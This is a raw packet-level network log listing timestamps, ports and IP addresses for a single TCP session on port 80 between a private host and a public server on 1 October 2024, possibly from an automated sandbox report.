Oct 1, 2024 07:51:17.605380058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605380058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605391026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605396986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605401039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605412006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605412006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605422020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605433941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605443954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605443954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605456114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605464935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605474949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605494022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605519056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605963945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.609906912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689217091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689253092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689265966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689268112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689292908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689347029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689358950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689382076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689409971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689431906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689450026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689462900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689472914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689475060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689511061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689536095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689578056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689626932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689639091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689654112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689663887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689675093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689677000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689686060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689708948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689726114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689877033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689888000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689898014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689908981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.689915895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.689946890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690046072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690057039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690099001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690179110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690190077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690201044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690216064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690216064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690227032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690232992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690237999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690248966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690259933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690267086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690298080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690495968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690505981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690536022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690568924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690581083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690602064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690628052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690700054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690711021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690721989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690732002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690742970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690742970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690769911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.690943003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690953970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690964937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690975904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.690984964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691004992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691149950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691162109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691171885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691183090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691193104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691198111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691205025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691214085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691217899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691224098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691236973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691242933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691247940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691260099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691287041 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691783905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691795111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691804886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691824913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691829920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691842079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691853046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691858053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691886902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691900015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691911936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691922903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691932917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691934109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691943884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691956043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.691965103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.691994905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692133904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692177057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692241907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692265034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692276001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692286968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692295074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692307949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692321062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692328930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692332029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692348003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692404985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692488909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692555904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692568064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692578077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692589998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692605972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692657948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692806959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692817926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692841053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692842960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692854881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692871094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692873001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692882061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692893028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692903042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692905903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692914009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692929983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692934036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692946911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692950010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692958117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692969084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.692979097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.692981005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693011045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693598986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693614960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693627119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693639040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693640947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693658113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693662882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693670034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693680048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693690062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693694115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693700075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693712950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693720102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693730116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693739891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693749905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693751097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693761110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693764925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693773031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693783045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693789959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693794012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693804979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693809032 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693816900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.693825960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.693844080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.694389105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.694401026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.694411039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.694422007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.694427967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.694452047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780030012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780056000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780067921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780092001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780118942 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780145884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780158043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780170918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780177116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780181885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780201912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780208111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780234098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780399084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780411005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780427933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780432940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780440092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780452013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780462980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780464888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780473948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780484915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780502081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780512094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780535936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780776978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780787945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780819893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780864954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780875921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780885935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780896902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780898094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780909061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780916929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780920029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780930042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.780946970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.780962944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781244993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781255960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781266928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781277895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781296968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781299114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781307936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781318903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781327009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781330109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781341076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781347990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781362057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781388998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781764984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781788111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781800032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781806946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781810045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781821012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781824112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781831026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781841993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781853914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781857014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781864882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781874895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781876087 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781887054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781893969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781897068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781908035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781908989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781919956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.781936884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.781965971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782305002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782325983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782339096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782358885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782507896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782520056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782530069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782540083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782550097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782552004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782561064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782571077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782582045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782582045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782593966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782599926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782603979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782614946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782614946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782624960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782635927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782643080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782646894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782658100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.782669067 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.782689095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.909533978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.914351940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082672119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082685947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082704067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082720995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082731009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082787037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.082834005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082835913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.082844019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082854986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082886934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.082918882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082954884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.082986116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.082997084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083023071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083039045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083087921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083098888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083107948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083120108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083137035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083164930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083287954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083297968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083308935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083319902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083333969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083357096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083499908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083508968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083518028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083528042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083538055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083545923 CEST	49732	80	192.168.2.4	45.200.148.113
